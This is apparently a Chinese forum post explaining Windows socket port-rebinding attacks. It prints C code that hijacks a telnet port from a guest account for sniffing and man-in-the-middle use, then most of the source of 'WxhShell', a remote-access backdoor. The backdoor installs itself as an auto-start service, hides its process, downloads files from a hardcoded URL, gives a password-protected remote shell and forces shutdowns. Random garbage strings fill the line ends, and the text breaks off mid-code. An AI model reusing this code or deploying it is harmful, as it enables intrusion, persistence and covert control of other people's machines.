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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: '1A S66k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &| %<=\  
A87JPX#R?  
  saddr.sin_family = AF_INET; PL/as3O^A  
.Gv9RKgd~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7N"$~UfC  
d3h2$EDD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); U'S}7gya  
]Q=D'1 MM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 k"|4 LPv[  
'3Yci(t+  
  这意味着什么?意味着可以进行如下的攻击: I|lz;i}$  
Z~{0XG\Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2g1[ E_?  
a'w~7y!}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R6HMi#eF  
I%^Ks$<"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^"\ jIP  
vz:P 2TkM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Q[^IX  
zCKZv|j6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {J q[N}  
T;jp2 #  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 7''l\3mIn  
kH1hsDe|&y  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ";38v jIV  
YQOdwc LG  
  #include J@Eqqyf"  
  #include 98h,VuKVaB  
  #include KE:PRX  
  #include    T1hr5V<U  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /*g3TbUs  
  int main() WyVFh AuU  
  { Eq^k @  
  WORD wVersionRequested; (Da/$S.  
  DWORD ret; / <WB%O  
  WSADATA wsaData; / ]_T  
  BOOL val; 1"3|6&=  
  SOCKADDR_IN saddr; ^RytBwzKM  
  SOCKADDR_IN scaddr; Rk.YnA_J6  
  int err; o^;$-O!/  
  SOCKET s; 6H67$?jMyJ  
  SOCKET sc; ^Bn)a"Gd  
  int caddsize; $.kP7!`:,  
  HANDLE mt; yC !`6$  
  DWORD tid;   j?%^N\9  
  wVersionRequested = MAKEWORD( 2, 2 ); '/U[ ui0{  
  err = WSAStartup( wVersionRequested, &wsaData ); ~n%~ Z|mMF  
  if ( err != 0 ) { Pcut#8?  
  printf("error!WSAStartup failed!\n"); <y=VDb/  
  return -1; `,d*>  
  } r(iT&uz  
  saddr.sin_family = AF_INET; aYr?J Ol  
   4>nY't;0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E%OY7zf`%  
e>~g!S}G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G$pTTT6#  
  saddr.sin_port = htons(23); $,q~q^0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Htn=h~U`z  
  { ?>5[~rMn  
  printf("error!socket failed!\n"); GqumH/;  
  return -1; TjxZ-qw<  
  } <uUQ-]QOIh  
  val = TRUE; yjUZ 40Dq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 90> (`pI=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `rsPIOu  
  { Mg;%];2Nt  
  printf("error!setsockopt failed!\n"); 5G=<2;  
  return -1; 8A}w}h  
  } %eWzr  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; aAZS^S4v  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 r=P)iE:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l T~RH0L  
fyPpzA0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^I03PIy0l  
  { |m7U^  
  ret=GetLastError(); gRv5l3k  
  printf("error!bind failed!\n"); sm5\> L3V  
  return -1; :+{G|goZ*  
  } j_*$ Avy  
  listen(s,2); 5vs~8|aRo  
  while(1) }&D~P>1  
  { [ qt hn[3  
  caddsize = sizeof(scaddr); s.I%[kada  
  //接受连接请求 B.CUk.  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `v3WJ>Q!N?  
  if(sc!=INVALID_SOCKET) 2^w3xL"   
  { I|69|^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OV3l)73?t  
  if(mt==NULL) ,?k[<C  
  { %jz]s4u$5j  
  printf("Thread Creat Failed!\n"); P8!ON=  
  break; *I6z;.#  
  } +\g/KbV7  
  } I^"ou M9}Q  
  CloseHandle(mt); 't:$Lx  
  } )!.ef6|  
  closesocket(s); _DsA<SJ]  
  WSACleanup(); eKjmU| H  
  return 0; MCOiB <L6  
  }   (5- w>(  
  DWORD WINAPI ClientThread(LPVOID lpParam) t80s(e  
  { j6v|D>I  
  SOCKET ss = (SOCKET)lpParam; ta"uxL\gge  
  SOCKET sc; <=.0 P/N  
  unsigned char buf[4096]; G8=2=/ !  
  SOCKADDR_IN saddr; d 90  
  long num; +UbSqp1BS  
  DWORD val; },58B  
  DWORD ret; Z9 X<W`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Mo?eVtZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   D4,kGU@  
  saddr.sin_family = AF_INET; <xM$^r)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xz2U?)m;x  
  saddr.sin_port = htons(23); j>j Zg<}J  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \7b-w81M-  
  { 9R_2>BDn  
  printf("error!socket failed!\n"); ,b[}22  
  return -1; F6>K FU8  
  } _vOV(#q2a  
  val = 100; p7 s#j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;R[  xo!  
  { fM,!9}<  
  ret = GetLastError(); 48%-lkol)  
  return -1; V{!fag  
  } #a1zk\R3  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u#(& R"6  
  { =$bJ`GpJ  
  ret = GetLastError(); ;+v5li  
  return -1; $ti*I;)h4  
  } rP4v_?Zg+  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /V'^$enK!}  
  { J%VcvBaJm  
  printf("error!socket connect failed!\n"); 0$=Uhi  
  closesocket(sc); ?O(@BT  
  closesocket(ss); BR&T,x/d  
  return -1; ]5(T{  
  } _#[~?g`  
  while(1) SCwAAE9s]  
  { RF3?q6j ,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 pypW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5>9KW7^L  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i4<&zj})  
  num = recv(ss,buf,4096,0); -,xCUG<g  
  if(num>0) H~Z$pk%  
  send(sc,buf,num,0); &d,chb (  
  else if(num==0) ~nit~ ;  
  break; `As| MYv  
  num = recv(sc,buf,4096,0); D$ X9xtT  
  if(num>0) 7  s+j)  
  send(ss,buf,num,0); un*Ptc2%  
  else if(num==0) (pBPf  
  break; jbQ N<`!  
  } XKp$v']u  
  closesocket(ss); $}&r.=J".  
  closesocket(sc); G.j  R  
  return 0 ; S8=Am7D]1  
  } g/*x;d=  
V[9#+l~#  
6d4e~F  
========================================================== bx!uHL=  
9NUft8QB  
下边附上一个代码,,WXhSHELL \R"}=7  
'K|Jg.2  
========================================================== k8>(-W"A  
}s*H| z  
#include "stdafx.h" VSm[80iR0  
01N]|F:  
#include <stdio.h> $? 'JePC  
#include <string.h> '*4>&V.yX  
#include <windows.h>  Iw07P2  
#include <winsock2.h> @B.;V=8wJ  
#include <winsvc.h> ? PIq/[tk  
#include <urlmon.h> hMcSB8?  
g(X-]/C{  
#pragma comment (lib, "Ws2_32.lib") 0wFa7PyG?  
#pragma comment (lib, "urlmon.lib") L&D+0p^lI  
P<. TiF?@  
#define MAX_USER   100 // 最大客户端连接数 T/[8w  
#define BUF_SOCK   200 // sock buffer xXa* d  
#define KEY_BUFF   255 // 输入 buffer S7|6dwQ&  
xg:r5Z/|)  
#define REBOOT     0   // 重启 C-wwQbdG/  
#define SHUTDOWN   1   // 关机 N+)gYb6h  
w@K4u{|  
#define DEF_PORT   5000 // 监听端口 W|~Jl7hs8Q  
#=}dv8  
#define REG_LEN     16   // 注册表键长度 =O~ J  
#define SVC_LEN     80   // NT服务名长度 sObH#/l`  
7z.(pg=  
// 从dll定义API KOQiX?'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z.Otci>J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {c 82bFiv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,]:vk|a#;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]'L#'"@  
96NZ rT  
// wxhshell配置信息 q5Bj0r[/o  
struct WSCFG { ,5Vc  
  int ws_port;         // 监听端口 jruXl>T!U  
  char ws_passstr[REG_LEN]; // 口令 6[b?ckvi  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y 6NoNc]h  
  char ws_regname[REG_LEN]; // 注册表键名 UU7E+4O&  
  char ws_svcname[REG_LEN]; // 服务名 "-y 2En  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 cpIFjb>u{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 p3m!Iota  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mbf'xGO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;-aF\}D@n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /]xu=q2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 knX*fp  
Ffv v8x  
}; 8vk*",  
fX:)mLnO/  
// default Wxhshell configuration mYU7b8x_  
struct WSCFG wscfg={DEF_PORT, k`j>lhH  
    "xuhuanlingzhe", zC@ ziH>{]  
    1, Vxr_2Kra  
    "Wxhshell", $ 8"we  
    "Wxhshell", a\K__NCrX  
            "WxhShell Service", jY~W*  
    "Wrsky Windows CmdShell Service", |JUb 1|gi  
    "Please Input Your Password: ", :Dh\  
  1, j{U#g8  
  "http://www.wrsky.com/wxhshell.exe", LnwI 7uvq  
  "Wxhshell.exe" 2H,^i,  
    }; sIVVF#0}]  
Q140b;Z  
// 消息定义模块 Sckt gp8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DH@]d0N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O^Y}fo'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =up!lg^M  
char *msg_ws_ext="\n\rExit."; \d"uR@$3mG  
char *msg_ws_end="\n\rQuit."; T[ ~8u9/  
char *msg_ws_boot="\n\rReboot..."; A#b`{C~l  
char *msg_ws_poff="\n\rShutdown..."; *btLd7c%  
char *msg_ws_down="\n\rSave to "; Q|gw\.]$&[  
$uPM.mPFE  
char *msg_ws_err="\n\rErr!"; g':/hlQ  
char *msg_ws_ok="\n\rOK!"; (f-Mm0%[  
`:aml+  
char ExeFile[MAX_PATH]; ^R g=*L  
int nUser = 0; ^| b]E  
HANDLE handles[MAX_USER]; ZqDanDM  
int OsIsNt; vb&1 S  
~PTqR2x  
SERVICE_STATUS       serviceStatus; a/ 4!zT   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IIZu&iZo\  
wsfN \6e  
// 函数声明 ;0Vyim)S]  
int Install(void); rXIFCt8J  
int Uninstall(void); k=nN#SMn  
int DownloadFile(char *sURL, SOCKET wsh); *y}<7R  
int Boot(int flag); $] gwaJ:  
void HideProc(void); p)x*uqSd  
int GetOsVer(void); H'2J!/V  
int Wxhshell(SOCKET wsl); I[x+7Y0k9  
void TalkWithClient(void *cs); %2S+G?$M?  
int CmdShell(SOCKET sock); }L!%^siG_  
int StartFromService(void); vp[;rDsIJ$  
int StartWxhshell(LPSTR lpCmdLine); LR(Q.x  
TKwMgC}<[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a?d)l nk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4s:S_Dw  
@|=JXSr!KY  
// 数据结构和表定义 X\=m  
SERVICE_TABLE_ENTRY DispatchTable[] = ]-rhc.Gk@1  
{ ym]12PAU5  
{wscfg.ws_svcname, NTServiceMain}, 5PcN$r"P  
{NULL, NULL} KTmduf7DL  
}; Ar;uq7c,G  
6Mh;ld@  
// 自我安装 F2N)|C<  
int Install(void) sy\w ^]  
{ wU"0@^k]<  
  char svExeFile[MAX_PATH]; k2-:! IE  
  HKEY key; FFG/v`NM  
  strcpy(svExeFile,ExeFile); L[j73z'  
9 rMP"td  
// 如果是win9x系统,修改注册表设为自启动 <[oPh(!V  
if(!OsIsNt) { 5z T~/6-(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]Qu.-F#g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WGK:XfOBQ  
  RegCloseKey(key); !{WIN%O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 342m=7lK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K1_]ne)  
  RegCloseKey(key); mDCz=pk)  
  return 0; :xBG~D  
    } I,nW~;OV0  
  } ?*nFz0cs^  
} 2 1LJ3rW_  
else { cn3F3@_"\  
=*[98%b   
// 如果是NT以上系统,安装为系统服务 .{=|N8*py8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); id" -eMwp  
if (schSCManager!=0) w,s++bV;L  
{ +L]$M)*0&  
  SC_HANDLE schService = CreateService TV['"'D&i  
  ( cu@i;Hb@  
  schSCManager, 4/Mi-ls_  
  wscfg.ws_svcname, IAl X^6s*  
  wscfg.ws_svcdisp, 1KI,/H"SY  
  SERVICE_ALL_ACCESS, ~{xm(p  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Dp8`O4YC  
  SERVICE_AUTO_START, O'WB O"  
  SERVICE_ERROR_NORMAL, y8!#G-d5  
  svExeFile, #Bih=A #  
  NULL, k$NNpv&;d  
  NULL, .boBo$f  
  NULL, J8;lG  
  NULL, a*D])Lu[  
  NULL XMLJ X~  
  ); \ y^Ho1Fj  
  if (schService!=0) p$:ERI  
  { SKUri  
  CloseServiceHandle(schService); Il8,g+W]  
  CloseServiceHandle(schSCManager); $ Ith8p~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); P@xb  
  strcat(svExeFile,wscfg.ws_svcname); G9|w o)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c@&`!e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {!/ha$(  
  RegCloseKey(key); HT% =o}y  
  return 0; C 7a$>#%  
    } *}@zxFe +  
  } 01_*^iCf5  
  CloseServiceHandle(schSCManager); CD"D^\z  
} 89kxRH\IhG  
} j{`C|zg  
}j_2K1NS{  
return 1; KT9!R  
} *Bm7>g6  
^tr?y??k  
// 自我卸载 zT< P_l  
int Uninstall(void) tW8&:L,m  
{ en?J#fz  
  HKEY key; c?/R=/H  
|n/qJIE6  
if(!OsIsNt) { !4 =]@eFk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pVa9g)+z}  
  RegDeleteValue(key,wscfg.ws_regname); ,SQ`, C _5  
  RegCloseKey(key); "gQ-{ W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `alQmGUZ  
  RegDeleteValue(key,wscfg.ws_regname); ..=WG@>$+  
  RegCloseKey(key); c(j|xQ\pE  
  return 0; ox&PFI0Gn  
  } 4owM;y  
} #86=[*Dr  
} >Hd0l L  
else { >%?kp[  
.:U`4 ->E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s{:l yp  
if (schSCManager!=0) Z6S?xfhr'{  
{ <=g{E-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |3:e$  
  if (schService!=0) NU <K+k  
  { x&4gy%b  
  if(DeleteService(schService)!=0) { ;J&p17~T9  
  CloseServiceHandle(schService); -H+<81"B#  
  CloseServiceHandle(schSCManager); V0 O6\)/.  
  return 0; S5(VdMd"^  
  } /]@1IC{Lk  
  CloseServiceHandle(schService); yOdh?:Imv  
  } Zai:?%^  
  CloseServiceHandle(schSCManager); oWP3Y.  
} jY|fP!?[  
} m5'nqy F  
.I#ss66h  
return 1; {Y7dE?!`7  
} ,jc')#]9B  
- fx?@  
// 从指定url下载文件 Gdu5 &]H#6  
int DownloadFile(char *sURL, SOCKET wsh) Ix59(g  
{ tSf$`4  
  HRESULT hr; z,+LPr  
char seps[]= "/"; 6VQe?oh  
char *token;  z:p;Wm  
char *file; 'lIj89h<E  
char myURL[MAX_PATH]; U1y8Y/  
char myFILE[MAX_PATH]; T4fVZd)x  
v\}s(X(J  
strcpy(myURL,sURL); >oHgs  
  token=strtok(myURL,seps); Q?xCb  
  while(token!=NULL) q,% lG$0v  
  { 0Uf.aP  
    file=token; (/;<K$u*h  
  token=strtok(NULL,seps); B(t`$mC  
  } AC}[Q p!  
N, SbJ Z  
GetCurrentDirectory(MAX_PATH,myFILE); \&jmSa=]l  
strcat(myFILE, "\\"); pj9*$.{  
strcat(myFILE, file); ] i:WP2  
  send(wsh,myFILE,strlen(myFILE),0); DPg\y".4Y&  
send(wsh,"...",3,0); WV?3DzeR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0vjlSHS;`.  
  if(hr==S_OK) .kf FaK  
return 0; *2^+QKDG  
else S"Z.M _  
return 1; 5oTj^W8M(  
E},^,65  
} h( V:-D  
3I.0jA#T&/  
// 系统电源模块 <oKoz0!  
int Boot(int flag) 'L5ih|$>  
{ ah2L8jN"  
  HANDLE hToken; T? e(m  
  TOKEN_PRIVILEGES tkp; 2qgm(jo *y  
?qt.+2:  
  if(OsIsNt) { {^V9?^?d (  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VNT*@^O_=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vAt ]N)R  
    tkp.PrivilegeCount = 1; 'Z}3XVZEN  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QJ^'Uyfdn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); my+2@ln  
if(flag==REBOOT) { 'jA>P\@8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) De^Uc  
  return 0; '?O_(%3F0  
} Tg yY 9  
else { KSgYf;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (`)ZR %i  
  return 0; S-2@:E  
} >[r,X$]  
  } n1    
  else { Usl963A#'F  
if(flag==REBOOT) { A3s-C+@X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B }t529Z  
  return 0; VtYrU>q  
} $i9</Es P  
else { N/x]-$fl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Em]2K:  
  return 0; 5D6 ,B  
} ,ui=Wi1  
} `3?5Z/,y  
,k |QuOrCh  
return 1; y}*J_7-  
} J>dIEW%u  
EGw;IFj)  
// win9x进程隐藏模块 cUj^aTpm  
void HideProc(void) svRYdInBNu  
{ C-tkYP  
YwU[kr-i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _uq[D`=  
  if ( hKernel != NULL ) >XJUj4B|X  
  { BIY"{"hJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `_+%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y ow  
    FreeLibrary(hKernel); yB5JvD ?  
  } 4'# ?"I  
OVUJiBp  
return; vJ9IDc|[  
} /I48jO^2  
{JlSfJw !  
// 获取操作系统版本 _@@.VmZL  
int GetOsVer(void) sIzy/W0iV  
{ M{4U%lk  
  OSVERSIONINFO winfo; b<27XZ@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); a&!K5(  
  GetVersionEx(&winfo); m"f3hd4D_q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3,yzRb  
  return 1; 6m mc{kw'  
  else pg.BOz\'q  
  return 0; K};~A?ET,h  
} 1"S~#  
t_kRYdW9  
// 客户端句柄模块 Y+nk:9  
int Wxhshell(SOCKET wsl) ' '<3;  
{ jT*?Z:U  
  SOCKET wsh; L/xTW  
  struct sockaddr_in client; NiBly  
  DWORD myID; 0q o]nw  
3W3)%[ 5  
  while(nUser<MAX_USER) f-`C1|\w  
{ uJSzz:\  
  int nSize=sizeof(client); U(:Di]>{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4`/Td?THx  
  if(wsh==INVALID_SOCKET) return 1; NCivh&HR  
dZ|x `bIgs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $&X-ay o  
if(handles[nUser]==0) qGdoRrp0Ov  
  closesocket(wsh); S+bpWA  
else 8 k )i-&R  
  nUser++; +'9E4Lpx  
  } agd^ga3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D9JHx+Xf>  
']U<R=5T$  
  return 0; yrG=2{I  
} S*V!t=  
&3f^]n!@  
// 关闭 socket .&2~g A  
void CloseIt(SOCKET wsh) g4^3H3Pd  
{ yY_#fJj  
closesocket(wsh); zuS4N?t`p  
nUser--; uc Ph*M  
ExitThread(0); B &e'n<  
} *~kHH  
+vIsYg*#2M  
// 客户端请求句柄 cRv#aV  
void TalkWithClient(void *cs) TjS &V  
{ p&2oe\j$,  
.`jYrW-k  
  SOCKET wsh=(SOCKET)cs; k]rc -c-  
  char pwd[SVC_LEN]; H,EGB8E2  
  char cmd[KEY_BUFF]; Hm'aD2k  
char chr[1]; AP+%T   
int i,j; R(f6uO!m  
@?*; -]#)  
  while (nUser < MAX_USER) { ^$s&bH'8  
e2kW,JV/<$  
if(wscfg.ws_passstr) { }H:wgy`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LZDJ\"a-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); INY?@in  
  //ZeroMemory(pwd,KEY_BUFF); rE%H NPO  
      i=0; '7 t:.88  
  while(i<SVC_LEN) { 2  ZyO  
oQ}K_}{>  
  // 设置超时 9qvl9,*g  
  fd_set FdRead; ;_#<a*f  
  struct timeval TimeOut; M9~6ry-_  
  FD_ZERO(&FdRead); 1s.>_  
  FD_SET(wsh,&FdRead); ;tC$O~X  
  TimeOut.tv_sec=8; JHa\"h  
  TimeOut.tv_usec=0; :,V&P_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Jwpc8MQ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %+oqAY m+s  
fR]KXfZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KNjU!Z/4  
  pwd=chr[0]; A<+1:@0  
  if(chr[0]==0xd || chr[0]==0xa) { !oYNJE Y7  
  pwd=0;  9XhcA  
  break; 3)y=}jw  
  } o,RiAtdk  
  i++; w+$~ ds  
    } 4UHviuOo8  
B.:1fT7lI  
  // 如果是非法用户,关闭 socket z9E*1B+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <R?S  
} <m~{60{  
u82(`+B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /[!<rhY  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g(i8HU*{q  
$LVzhQlD  
while(1) { [eFJ+|U9  
.DM-&P  
  ZeroMemory(cmd,KEY_BUFF); \h?6/@3ob  
K>TEt5  
      // 自动支持客户端 telnet标准   0 \V)DV.i  
  j=0; e,MgR\F}  
  while(j<KEY_BUFF) { e.fxB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^!z(IE'  
  cmd[j]=chr[0]; MT6"b  
  if(chr[0]==0xa || chr[0]==0xd) { -Jt36|O  
  cmd[j]=0; Z!3R  
  break; 8nwps(3  
  } <[K3Prf C  
  j++; @`ii3&W4  
    } 2R W~jn"  
^SK!? M  
  // 下载文件 Mh MXn;VKj  
  if(strstr(cmd,"http://")) { HPg%v |  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N`~f77G  
  if(DownloadFile(cmd,wsh)) F\^\,hy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ViL"  
  else E u<f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MRg Ozg  
  } }rUAYr~VZ  
  else { iH~A7e62OZ  
7$x%A&]  
    switch(cmd[0]) { 1OV] W f  
  [SD mdr1T$  
  // 帮助 *Q#oV}D_  
  case '?': { q]Kv.x]$R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bGkLa/?S  
    break; 56 Z  
  } E#,\[<pc  
  // 安装 U8-OQ:2.  
  case 'i': { d2TIG<6/  
    if(Install()) T 2_iH=u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?#Y:2LqPC  
    else R x(yn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Uf MQ?(,  
    break; qoZ)"M  
    } ,.h@tN<C  
  // 卸载 EwmNgmYq  
  case 'r': { >TiE Y MW  
    if(Uninstall()) /8!n7a7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gpi_p  
    else 5=I"bnIU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 /9 C=v  
    break; \hn$-'=4  
    } 78r0K 5=  
  // 显示 wxhshell 所在路径 Xvoz4'Gme  
  case 'p': { 1Wiz0X/  
    char svExeFile[MAX_PATH]; 1z0|uc  
    strcpy(svExeFile,"\n\r"); OCq5}%yU&i  
      strcat(svExeFile,ExeFile); Y]5spqG  
        send(wsh,svExeFile,strlen(svExeFile),0); h-RhmQA=Iz  
    break; Sk)lT^by  
    } {> 8?6m-  
  // 重启 Z/!awf>  
  case 'b': { *_7/'0E(3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o';/$xrH  
    if(Boot(REBOOT)) y0ObcP.MA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @WJ\W`P  
    else { M< .1U?_#  
    closesocket(wsh); ~mwIr  
    ExitThread(0); >#'?}@FWQN  
    } ^b}Wl0Fn  
    break; C/H;|3.X  
    } bwcr/J( Nb  
  // 关机 LAY:R{vI  
  case 'd': { _*n `*"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); m OE!`fd  
